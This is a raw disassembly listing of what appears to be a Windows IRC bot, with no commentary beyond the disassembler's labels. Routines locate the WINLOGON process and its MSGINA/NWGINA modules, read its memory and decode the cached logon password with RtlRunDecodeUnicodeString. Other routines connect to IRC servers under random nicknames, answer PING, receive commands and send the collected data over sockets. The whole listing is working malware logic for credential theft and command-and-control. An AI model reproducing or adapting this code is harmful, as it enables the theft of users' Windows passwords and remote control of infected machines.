		call	esi	; GetProcessHeap
		push	eax
		call	edi	; RtlAllocateHeap
		mov	ebp, eax
		mov	eax, [esp+28h+var_14]
		lea	ecx, [esp+28h+var_C]
		mov	[esp+28h+var_C], eax
		push	ecx
		push	eax
		push	ebp
		push	10h
		call	dword_4D713C	; ZwQuerySystemInformation
		test	eax, eax
		jnz	short loc_417769
		mov	eax, [esp+28h+var_C]
		shr	eax, 4
		mov	[esp+28h+var_10], eax
		jz	short loc_417769
		xor	ecx, ecx
		mov	ebx, ebp
		inc	ecx
		cmp	eax, ecx
		mov	[esp+28h+var_18], ecx
		jb	short loc_417769


loc_417705:				; CODE XREF: sub_41767C+EBj
		cmp	word ptr [ebx+8], 5
		jnz	short loc_41775C
		push	0
		push	0
		call	dword_4D7130	; RtlCreateQueryDebugBuffer
		mov	edi, eax
		push	edi
		push	1
		push	dword ptr [ebx+4]
		call	dword_4D7340	; RtlQueryProcessDebugInformation
		test	eax, eax
		jnz	short loc_41774D
		mov	eax, [edi+60h]
		push	offset aWinlogon ; "WINLOGON"
		mov	[esp+2Ch+var_8], eax
		lea	eax, [edi+80h]
		push	eax
		call	sub_41DC4A
		pop	ecx
		push	eax
		call	sub_41BF70
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417781


loc_41774D:				; CODE XREF: sub_41767C+AAj
		test	edi, edi
		jz	short loc_417758
		push	edi
		call	dword_4D7138	; RtlDestroyQueryDebugBuffer


loc_417758:				; CODE XREF: sub_41767C+D3j
		mov	eax, [esp+28h+var_10]


loc_41775C:				; CODE XREF: sub_41767C+8Ej
		add	ebx, 10h
		inc	[esp+28h+var_18]
		cmp	[esp+28h+var_18], eax
		jbe	short loc_417705


loc_417769:				; CODE XREF: sub_41767C+6Dj
					; sub_41767C+7Aj ...
		xor	edi, edi


loc_41776B:				; CODE XREF: sub_41767C+17Dj
		push	ebp
		push	0
		call	esi	; GetProcessHeap
		push	eax
		call	dword_428150	; RtlFreeHeap
		mov	eax, edi


loc_417779:				; CODE XREF: sub_41767C+184j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 18h
		retn
; ---------------------------------------------------------------------------


loc_417781:				; CODE XREF: sub_41767C+CFj
		and	[esp+28h+var_10], 0
		cmp	[esp+28h+var_8], 0
		jbe	short loc_4177EA
		lea	eax, [edi+80h]
		mov	[esp+28h+var_18], eax


loc_417797:				; CODE XREF: sub_41767C+16Cj
		add	[esp+28h+var_18], 11Ch
		push	offset aNwgina	; "NWGINA"
		push	[esp+2Ch+var_18]
		call	sub_41DC4A
		pop	ecx
		push	eax
		call	sub_41BF70
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4177FE
		push	offset aMsgina	; "MSGINA"
		push	[esp+2Ch+var_18]
		call	sub_41DC4A
		pop	ecx
		push	eax
		call	sub_41BF70
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4177DC
		mov	eax, [ebx+4]
		mov	[esp+28h+var_4], eax


loc_4177DC:				; CODE XREF: sub_41767C+157j
		inc	[esp+28h+var_10]
		mov	eax, [esp+28h+var_10]
		cmp	eax, [esp+28h+var_8]
		jb	short loc_417797


loc_4177EA:				; CODE XREF: sub_41767C+10Fj
		test	edi, edi
		jz	short loc_4177F5
		push	edi
		call	dword_4D7138	; RtlDestroyQueryDebugBuffer


loc_4177F5:				; CODE XREF: sub_41767C+170j
		mov	edi, [esp+28h+var_4]
		jmp	loc_41776B
; ---------------------------------------------------------------------------


loc_4177FE:				; CODE XREF: sub_41767C+13Cj
		xor	eax, eax
		jmp	loc_417779
sub_41767C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417805	proc near		; CODE XREF: sub_4174AA+F1p

var_64		= byte ptr -64h
var_60		= dword	ptr -60h
var_40		= byte ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2B		= byte ptr -2Bh
var_24		= byte ptr -24h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 64h
		push	esi
		xor	esi, esi
		push	[ebp+arg_0]
		mov	[ebp+var_10], esi
		push	esi
		push	410h
		call	dword_42808C	; OpenProcess
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jnz	short loc_41782E
		xor	eax, eax
		jmp	loc_4179A6
; ---------------------------------------------------------------------------


loc_41782E:				; CODE XREF: sub_417805+20j
		mov	eax, [ebp+arg_4]
		push	ebx
		push	edi
		mov	[eax], esi
		lea	eax, [ebp+var_64]
		push	eax
		call	dword_428164	; GetSystemInfo
		push	[ebp+var_60]
		mov	[ebp+var_8], esi
		mov	esi, dword_428158
		push	8
		call	esi	; GetProcessHeap
		mov	edi, dword_428154
		push	eax
		call	edi	; RtlAllocateHeap
		lea	ecx, [ebp+var_8]
		mov	ebx, dword_428160
		push	ecx
		mov	[ebp+arg_0], eax
		push	[ebp+var_60]
		push	eax
		push	7FFDF000h
		push	[ebp+var_4]
		call	ebx	; ReadProcessMemory
		test	eax, eax
		jnz	short loc_41787E
		xor	esi, esi
		jmp	loc_417999
; ---------------------------------------------------------------------------


loc_41787E:				; CODE XREF: sub_417805+70j
		lea	eax, [ebp+var_40]
		push	1Ch
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+18h]
		push	[ebp+var_4]
		call	dword_42815C	; VirtualQueryEx
		test	eax, eax
		jz	loc_417988
		mov	ecx, [ebp+var_30]
		mov	eax, 1000h
		and	ecx, eax
		cmp	ecx, eax
		jnz	loc_417988
		test	[ebp+var_2B], 1
		jnz	loc_417988
		push	[ebp+var_34]
		push	8
		call	esi	; GetProcessHeap
		push	eax
		call	edi	; RtlAllocateHeap
		mov	edi, eax
		lea	eax, [ebp+var_8]
		push	eax
		mov	eax, [ebp+arg_0]
		push	[ebp+var_34]
		mov	[ebp+var_C], edi
		push	edi
		push	dword ptr [eax+18h]
		push	[ebp+var_4]
		call	ebx	; ReadProcessMemory
		test	eax, eax
		jz	loc_417988


loc_4178E1:				; CODE XREF: sub_417805+110j
		push	edi
		push	offset dword_4D6130
		call	sub_426E95
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417909
		lea	eax, [edi+200h]
		push	eax
		push	offset dword_4D6930
		call	sub_426E95
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417919


loc_417909:				; CODE XREF: sub_417805+EBj
		mov	eax, [ebp+var_34]
		mov	ecx, [ebp+var_C]
		inc	edi
		add	eax, ecx
		inc	edi
		cmp	edi, eax
		jb	short loc_4178E1
		jmp	short loc_417988
; ---------------------------------------------------------------------------


loc_417919:				; CODE XREF: sub_417805+102j
		test	edi, edi
		jz	short loc_417988
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [edi+410h]
		push	eax
		call	dword_428000	; FileTimeToLocalFileTime
		test	eax, eax
		jz	short loc_417954
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		call	dword_428120	; FileTimeToSystemTime
		test	eax, eax
		jz	short loc_417954
		mov	al, [edi+42Ch]
		mov	ecx, [ebp+arg_4]
		shr	eax, 1
		and	eax, 7Fh
		mov	[ecx], eax


loc_417954:				; CODE XREF: sub_417805+12Bj
					; sub_417805+13Dj
		movzx	eax, byte ptr [edi+42Dh]
		mov	dword_4D7350, eax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], 1
		mov	eax, [eax+18h]
		sub	eax, [ebp+var_C]
		lea	eax, [eax+edi+434h]
		add	edi, 434h
		mov	dword_4D7348, eax
		mov	dword_4D734C, edi


loc_417988:				; CODE XREF: sub_417805+90j
					; sub_417805+A2j ...
		push	[ebp+arg_0]
		push	0
		call	esi	; GetProcessHeap
		push	eax
		call	dword_428150	; RtlFreeHeap
		mov	esi, [ebp+var_10]


loc_417999:				; CODE XREF: sub_417805+74j
		push	[ebp+var_4]
		call	dword_428070	; CloseHandle
		pop	edi
		mov	eax, esi
		pop	ebx


loc_4179A6:				; CODE XREF: sub_417805+24j
		pop	esi
		leave
		retn
sub_417805	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4179A9	proc near		; CODE XREF: sub_4174AA:loc_4175A2p

var_4C		= byte ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_28		= byte ptr -28h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_13		= byte ptr -13h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 4Ch
		push	[ebp+arg_0]
		push	0
		push	410h
		call	dword_42808C	; OpenProcess
		test	eax, eax
		mov	[ebp+arg_0], eax
		jnz	short loc_4179C8
		leave
		retn
; ---------------------------------------------------------------------------


loc_4179C8:				; CODE XREF: sub_4179A9+1Bj
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		and	dword ptr [eax], 0
		lea	eax, [ebp+var_4C]
		push	eax
		call	dword_428164	; GetSystemInfo
		mov	ebx, [ebp+var_44]
		mov	eax, [ebp+var_40]
		cmp	ebx, eax
		mov	[ebp+var_C], eax
		jnb	loc_417A90
		mov	edi, dword_428158


loc_4179F2:				; CODE XREF: sub_4179A9+E1j
		lea	eax, [ebp+var_28]
		push	1Ch
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	dword_42815C	; VirtualQueryEx
		test	eax, eax
		jz	short loc_417A7E
		mov	edx, [ebp+var_18]
		mov	ecx, [ebp+var_1C]
		mov	eax, 1000h
		mov	[ebp+var_4], ecx
		and	edx, eax
		cmp	edx, eax
		jnz	short loc_417A84
		test	[ebp+var_13], 1
		jnz	short loc_417A84
		push	ecx
		push	8
		call	edi	; GetProcessHeap
		push	eax
		call	dword_428154	; RtlAllocateHeap
		mov	esi, eax
		lea	eax, [ebp+var_8]
		push	eax
		and	[ebp+var_8], 0
		push	[ebp+var_1C]
		push	esi
		push	ebx
		push	[ebp+arg_0]
		call	dword_428160	; ReadProcessMemory
		test	eax, eax
		jz	short loc_417A70
		push	offset dword_4D6130
		push	esi
		call	sub_426E95
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417A70
		lea	eax, [esi+400h]
		push	offset dword_4D6930
		push	eax
		call	sub_426E95
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417AA2


loc_417A70:				; CODE XREF: sub_4179A9+9Dj
					; sub_4179A9+AEj
		push	esi
		push	0
		call	edi	; GetProcessHeap
		push	eax
		call	dword_428150	; RtlFreeHeap
		jmp	short loc_417A84
; ---------------------------------------------------------------------------


loc_417A7E:				; CODE XREF: sub_4179A9+5Bj
		mov	eax, [ebp+var_48]
		mov	[ebp+var_4], eax


loc_417A84:				; CODE XREF: sub_4179A9+6Fj
					; sub_4179A9+75j ...
		add	ebx, [ebp+var_4]
		cmp	ebx, [ebp+var_C]
		jb	loc_4179F2


loc_417A90:				; CODE XREF: sub_4179A9+3Dj
		xor	esi, esi


loc_417A92:				; CODE XREF: sub_4179A9+12Bj
		push	[ebp+arg_0]
		call	dword_428070	; CloseHandle
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_417AA2:				; CODE XREF: sub_4179A9+C5j
		add	ebx, 800h
		lea	eax, [esi+800h]
		xor	ecx, ecx
		mov	dword_4D7348, ebx
		mov	dword_4D734C, eax
		cmp	[eax], cl
		jnz	short loc_417AC4
		cmp	[eax+1], cl
		jz	short loc_417ACC


loc_417AC4:				; CODE XREF: sub_4179A9+114j
					; sub_4179A9+121j
		inc	ecx
		inc	eax
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_417AC4


loc_417ACC:				; CODE XREF: sub_4179A9+119j
		mov	eax, [ebp+arg_4]
		xor	esi, esi
		inc	esi
		mov	[eax], ecx
		jmp	short loc_417A92
sub_4179A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417AD6	proc near		; CODE XREF: sub_4174AA+135p

var_8		= word ptr -8
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, dword_4D7344
		push	esi
		mov	esi, dword_428158
		push	edi
		lea	ecx, [eax+eax]
		lea	eax, [eax+eax+2]
		mov	[ebp+var_6], ax
		mov	[ebp+var_8], cx
		movzx	eax, ax
		push	eax
		push	8
		call	esi	; GetProcessHeap
		push	eax
		call	dword_428154	; RtlAllocateHeap
		mov	ecx, dword_4D7344
		mov	[ebp+var_4], eax
		add	ecx, ecx
		push	ecx
		push	dword_4D734C
		push	eax
		call	near ptr sub_41C9B0
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	eax
		mov	al, byte ptr dword_4D7350
		push	eax
		call	dword_4D7134	; RtlRunDecodeUnicodeString
		push	[ebp+var_4]
		mov	edi, offset dword_4D7140
		push	offset dword_4D6130
		push	offset dword_4D6930
		push	[ebp+arg_0]
		push	offset dword_43AB50
		push	200h
		push	edi
		call	sub_41BFF0
		add	esp, 1Ch
		push	[ebp+var_4]
		push	0
		call	esi	; GetProcessHeap
		push	eax
		call	dword_428150	; RtlFreeHeap
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_417AD6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417B6D	proc near		; CODE XREF: sub_4174AA:loc_4175E6p

var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, dword_4D7344
		push	ebx
		push	esi
		push	edi
		lea	ecx, [eax+eax]
		lea	eax, [eax+eax+2]
		mov	[ebp+var_16], ax
		mov	[ebp+var_18], cx
		movzx	eax, ax
		push	eax
		push	8
		call	dword_428158	; GetProcessHeap
		push	eax
		call	dword_428154	; RtlAllocateHeap
		and	[ebp+var_C], 0
		mov	[ebp+var_14], eax
		mov	ebx, offset dword_4D6930
		mov	edi, 200h
		mov	esi, offset dword_4D5F30


loc_417BB3:				; CODE XREF: sub_417B6D+FAj
		mov	eax, dword_4D7344
		add	eax, eax
		push	eax
		push	dword_4D734C
		push	[ebp+var_14]
		call	near ptr sub_41C9B0
		add	esp, 0Ch
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+var_C]
		call	dword_4D7134	; RtlRunDecodeUnicodeString
		mov	eax, dword_4D7344
		and	[ebp+var_10], 0
		mov	ecx, [ebp+var_14]
		mov	[ebp+var_8], 1
		test	eax, eax
		jbe	short loc_417C28


loc_417BF0:				; CODE XREF: sub_417B6D+B3j
		cmp	[ebp+var_8], 0
		jz	short loc_417C45
		mov	dl, [ecx]
		test	dl, dl
		mov	[ebp+var_1], dl
		jz	short loc_417C14
		cmp	byte ptr [ecx+1], 0
		jnz	short loc_417C14
		cmp	dl, 20h
		jnb	short loc_417C0E
		and	[ebp+var_8], 0


loc_417C0E:				; CODE XREF: sub_417B6D+9Bj
		cmp	[ebp+var_1], 7Eh
		jbe	short loc_417C18


loc_417C14:				; CODE XREF: sub_417B6D+90j
					; sub_417B6D+96j
		and	[ebp+var_8], 0


loc_417C18:				; CODE XREF: sub_417B6D+A5j
		inc	ecx
		inc	ecx
		inc	[ebp+var_10]
		cmp	[ebp+var_10], eax
		jb	short loc_417BF0
		cmp	[ebp+var_8], 0
		jz	short loc_417C45


loc_417C28:				; CODE XREF: sub_417B6D+81j
		push	[ebp+var_14]
		push	offset dword_4D6130
		push	ebx
		push	[ebp+arg_0]
		push	offset dword_43AB50
		push	edi
		push	esi
		call	sub_41BFF0
		add	esp, 1Ch
		jmp	short loc_417C5D
; ---------------------------------------------------------------------------


loc_417C45:				; CODE XREF: sub_417B6D+87j
					; sub_417B6D+B9j
		push	offset dword_4D6130
		push	ebx
		push	[ebp+arg_0]
		push	offset dword_43ABA0
		push	edi
		push	esi
		call	sub_41BFF0
		add	esp, 18h


loc_417C5D:				; CODE XREF: sub_417B6D+D6j
		inc	[ebp+var_C]
		cmp	[ebp+var_C], 0FFh
		jbe	loc_417BB3
		push	[ebp+var_14]
		push	0
		call	dword_428158	; GetProcessHeap
		push	eax
		call	dword_428150	; RtlFreeHeap
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417B6D	endp


; =============== S U B	R O U T	I N E =======================================



sub_417C86	proc near		; CODE XREF: sub_401AA1+3259p
					; sub_401AA1+32C0p ...

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		push	offset asc_42BDD8 ; "\n"
		push	edi
		call	sub_41C530
		pop	ecx
		mov	esi, offset dword_4D735C
		pop	ecx


loc_417C9E:				; CODE XREF: sub_417C86+42j
		cmp	dword ptr [esi-4], 1
		jnz	short loc_417CBC
		cmp	dword ptr [esi], 0
		jbe	short loc_417CBC
		push	0
		push	edi
		call	sub_41B650
		pop	ecx
		push	eax
		push	edi
		push	dword ptr [esi]
		call	dword_4CE358	; send


loc_417CBC:				; CODE XREF: sub_417C86+1Cj
					; sub_417C86+21j
		add	esi, 210h
		cmp	esi, offset dword_4DDA7C
		jl	short loc_417C9E
		pop	edi
		pop	esi
		retn
sub_417C86	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417CCD	proc near		; CODE XREF: sub_417DC2+14Fp

var_420		= byte ptr -420h
var_220		= byte ptr -220h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		push	ebx
		push	esi
		mov	esi, offset asc_42F5E8 ; " "
		push	edi
		push	esi
		push	[ebp+arg_0]
		call	sub_41C764
		xor	edi, edi
		pop	ecx
		inc	edi
		pop	ecx
		mov	[ebp+var_20], eax
		xor	ebx, ebx


loc_417CF1:				; CODE XREF: sub_417CCD+35j
		push	esi
		push	ebx
		call	sub_41C764
		mov	[ebp+edi*4+var_20], eax
		inc	edi
		pop	ecx
		cmp	edi, 8
		pop	ecx
		jl	short loc_417CF1
		cmp	[ebp+var_20], ebx
		mov	esi, [ebp+var_1C]
		jnz	short loc_417D18
		cmp	esi, ebx
		jnz	short loc_417D18
		xor	eax, eax
		inc	eax
		jmp	loc_417DBD
; ---------------------------------------------------------------------------


loc_417D18:				; CODE XREF: sub_417CCD+3Dj
					; sub_417CCD+41j
		push	[ebp+var_20]
		push	offset aPing	; "PING"
		call	sub_41C6E0
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jnz	short loc_417D42
		lea	eax, [ebp+var_220]
		push	offset dword_43B7B8
		push	eax
		call	sub_41BEF6
		add	esp, 0Ch
		jmp	short loc_417D9C
; ---------------------------------------------------------------------------


loc_417D42:				; CODE XREF: sub_417CCD+5Dj
		push	offset a433	; "433"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417D63
		push	esi
		push	offset dword_43B7B4
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417DBB


loc_417D63:				; CODE XREF: sub_417CCD+83j
		push	200h
		lea	eax, [ebp+var_420]
		push	ebx
		push	eax
		call	sub_41BC00
		lea	eax, [ebp+var_420]
		push	eax
		call	sub_417FDF
		lea	eax, [ebp+var_420]
		push	eax
		lea	eax, [ebp+var_220]
		push	offset dword_43B7A8
		push	eax
		call	sub_41BEF6
		add	esp, 1Ch


loc_417D9C:				; CODE XREF: sub_417CCD+73j
		lea	eax, [ebp+var_220]
		push	ebx
		push	eax
		call	sub_41B650
		pop	ecx
		push	eax
		lea	eax, [ebp+var_220]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CE358	; send


loc_417DBB:				; CODE XREF: sub_417CCD+94j
		xor	eax, eax


loc_417DBD:				; CODE XREF: sub_417CCD+46j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417CCD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417DC2	proc near		; DATA XREF: sub_417F61+61o

var_4008	= byte ptr -4008h
var_3008	= byte ptr -3008h
var_2008	= byte ptr -2008h
var_1008	= byte ptr -1008h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 4008h
		call	sub_41C190
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		imul	esi, 210h
		xor	edi, edi
		push	dword_4D7564[esi]
		lea	eax, dword_4D7364[esi]
		inc	edi
		push	eax
		mov	dword_4D7358[esi], edi
		call	sub_416187
		pop	ecx
		xor	ebx, ebx
		cmp	eax, edi
		pop	ecx
		mov	dword_4D735C[esi], eax
		jb	loc_417F41
		mov	edi, 1000h
		lea	eax, [ebp+var_2008]
		push	edi
		push	ebx
		push	eax
		call	sub_41BC00
		lea	eax, [ebp+var_2008]
		push	eax
		call	sub_417FDF
		lea	eax, [ebp+var_4008]
		push	eax
		call	sub_417FDF
		lea	eax, [ebp+var_3008]
		push	eax
		call	sub_417FDF
		lea	eax, [ebp+var_3008]
		push	eax
		lea	eax, [ebp+var_4008]
		push	eax
		lea	eax, [ebp+var_2008]
		push	eax
		lea	eax, [ebp+var_1008]
		push	offset aNickSUserSHotm ; "NICK %s\nUSER	%s \"hotmail.com\" \"127.0.0."...
		push	eax
		call	sub_41BEF6
		add	esp, 2Ch
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41B650
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1008]
		push	eax
		push	dword_4D735C[esi]
		call	dword_4CE358	; send
		push	edi
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41BC00
		add	esp, 0Ch


loc_417E9B:				; CODE XREF: sub_417DC2+17Aj
		push	edi
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41BC00
		add	esp, 0Ch
		lea	eax, [ebp+var_1008]
		push	ebx
		push	edi
		push	eax
		push	dword_4D735C[esi]
		call	dword_4CE320	; recv
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jle	short loc_417F41
		xor	eax, eax
		cmp	[ebp+var_8], ebx
		jmp	short loc_417F37
; ---------------------------------------------------------------------------


loc_417ECF:				; CODE XREF: sub_417DC2+178j
		mov	al, [ebp+eax+var_1008]
		cmp	al, 0Dh
		jz	short loc_417EF6
		cmp	al, 0Ah
		jz	short loc_417EF6
		cmp	[ebp+arg_0], 0FA0h
		jz	short loc_417EF6
		mov	ecx, [ebp+arg_0]
		inc	[ebp+arg_0]
		mov	[ebp+ecx+var_2008], al
		jmp	short loc_417F30
; ---------------------------------------------------------------------------


loc_417EF6:				; CODE XREF: sub_417DC2+116j
					; sub_417DC2+11Aj ...
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_417F30
		push	dword_4D735C[esi]
		mov	[ebp+eax+var_2008], bl
		lea	eax, [ebp+var_2008]
		push	eax
		call	sub_417CCD
		pop	ecx
		test	eax, eax
		pop	ecx
		ja	short loc_417F41
		push	edi
		lea	eax, [ebp+var_2008]
		push	ebx
		push	eax
		call	sub_41BC00
		add	esp, 0Ch
		mov	[ebp+arg_0], ebx


loc_417F30:				; CODE XREF: sub_417DC2+132j
					; sub_417DC2+139j
		mov	eax, [ebp+var_4]
		inc	eax
		cmp	eax, [ebp+var_8]


loc_417F37:				; CODE XREF: sub_417DC2+10Bj
		mov	[ebp+var_4], eax
		jnz	short loc_417ECF
		jmp	loc_417E9B
; ---------------------------------------------------------------------------


loc_417F41:				; CODE XREF: sub_417DC2+40j
					; sub_417DC2+104j ...
		mov	dword_4D7358[esi], ebx
		mov	esi, dword_4D735C[esi]
		cmp	esi, ebx
		jbe	short loc_417F58
		push	esi
		call	dword_4CE3A0	; closesocket


loc_417F58:				; CODE XREF: sub_417DC2+18Dj
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
sub_417DC2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417F61	proc near		; CODE XREF: sub_401AA1+31AEp

var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_8], ebx
		push	esi
		push	edi
		mov	[ebp+var_4], ebx
		jle	short loc_417FDA


loc_417F73:				; CODE XREF: sub_417F61+77j
		xor	edi, edi
		mov	eax, offset dword_4D7358


loc_417F7A:				; CODE XREF: sub_417F61+28j
		cmp	[eax], ebx
		jz	short loc_417F8B
		add	eax, 210h
		inc	edi
		cmp	eax, offset dword_4DDA78
		jl	short loc_417F7A


loc_417F8B:				; CODE XREF: sub_417F61+1Bj
		cmp	edi, 31h
		jz	short loc_417FDA
		mov	esi, edi
		push	[ebp+arg_0]
		imul	esi, 210h
		lea	eax, dword_4D7364[esi]
		push	eax
		call	sub_41C520
		mov	eax, [ebp+arg_4]
		pop	ecx
		mov	dword_4D7564[esi], eax
		pop	ecx
		lea	eax, [ebp+var_8]
		mov	dword_4D7358[esi], 1
		push	eax
		push	ebx
		push	edi
		push	offset sub_417DC2
		push	ebx
		push	ebx
		call	dword_428084	; CreateThread
		inc	[ebp+var_4]
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+arg_8]
		jl	short loc_417F73


loc_417FDA:				; CODE XREF: sub_417F61+10j
					; sub_417F61+2Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417F61	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417FDF	proc near		; CODE XREF: sub_401AA1+36F7p
					; sub_401AA1+373Ep ...

var_40		= byte ptr -40h
var_2D		= byte ptr -2Dh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_18		= qword	ptr -18h
var_10		= qword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		push	14h
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_41BC00
		add	esp, 0Ch
		call	sub_41BF52
		mov	[ebp+var_4], eax
		fild	[ebp+var_4]
		fmul	dbl_4286E0
		call	sub_41CE04
		cmp	eax, 1
		jnz	short loc_418029
		call	sub_41BF52
		call	sub_41BF52
		push	66h
		cdq
		pop	ecx
		idiv	ecx
		push	off_43AEF8[edx*4]
		jmp	short loc_418042
; ---------------------------------------------------------------------------


loc_418029:				; CODE XREF: sub_417FDF+2Fj
		call	sub_41BF52
		call	sub_41BF52
		cdq
		mov	ecx, 0C0h
		idiv	ecx
		push	off_43ABF8[edx*4]


loc_418042:				; CODE XREF: sub_417FDF+48j
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41C520
		pop	ecx
		lea	eax, [ebp+var_2C]
		pop	ecx
		push	ebx
		push	esi
		push	edi
		push	eax
		call	sub_41B650
		pop	ecx
		mov	esi, eax
		push	13h
		mov	[ebp+var_4], esi
		pop	eax
		sub	eax, esi
		mov	dword ptr [ebp+var_18+4], eax
		call	sub_41BF52
		mov	dword ptr [ebp+var_10+4], eax
		fild	dword ptr [ebp+var_10+4]
		fmul	dbl_4286D8
		call	sub_41CE04
		mov	ebx, eax
		call	sub_41BF52
		mov	dword ptr [ebp+var_10+4], eax
		fild	dword ptr [ebp+var_10+4]
		fimul	[ebp+var_4]
		fmul	dbl_4286D0
		call	sub_41CE04
		cmp	esi, 2
		mov	edi, offset a__0 ; "-|`_\\{[]}"
		jle	short loc_4180B5
		cmp	esi, 3
		jnz	short loc_4180AC
		cmp	ebx, 1
		jz	short loc_4180B5


loc_4180AC:				; CODE XREF: sub_417FDF+C6j
		cmp	eax, 1
		jnz	loc_41816E


loc_4180B5:				; CODE XREF: sub_417FDF+C1j
					; sub_417FDF+CBj
		call	sub_41BF52
		mov	dword ptr [ebp+var_10+4], eax
		fild	dword ptr [ebp+var_10+4]
		fmul	dbl_4286C8
		call	sub_41CE04
		push	off_43AEF8[eax*4]
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_41C520
		lea	ebx, [ebp+esi+var_2C]
		movsx	eax, byte ptr [ebx-1]
		push	eax
		push	edi
		call	sub_41C620
		add	esp, 10h
		test	eax, eax
		jnz	short loc_41815B
		movsx	eax, [ebp+var_40]
		push	eax
		push	edi
		call	sub_41C620
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41815B
		call	sub_41BF52
		mov	dword ptr [ebp+var_10+4], eax
		dec	esi
		fild	dword ptr [ebp+var_10+4]
		mov	dword ptr [ebp+var_10+4], esi
		fild	dword ptr [ebp+var_10+4]
		fmulp	st(1), st
		fmul	dbl_4286D0
		call	sub_41CE04
		cmp	eax, 1
		jnz	short loc_41815B
		push	edi
		call	sub_41B650
		and	dword ptr [ebp+var_10+4], 0
		mov	dword ptr [ebp+var_10],	eax
		fild	[ebp+var_10]
		pop	ecx
		fstp	qword ptr [ebp-8]
		call	sub_41BF52
		mov	dword ptr [ebp+var_10+4], eax
		fild	dword ptr [ebp+var_10+4]
		fmul	qword ptr [ebp-8]
		fmul	dbl_4286D0
		call	sub_41CE04
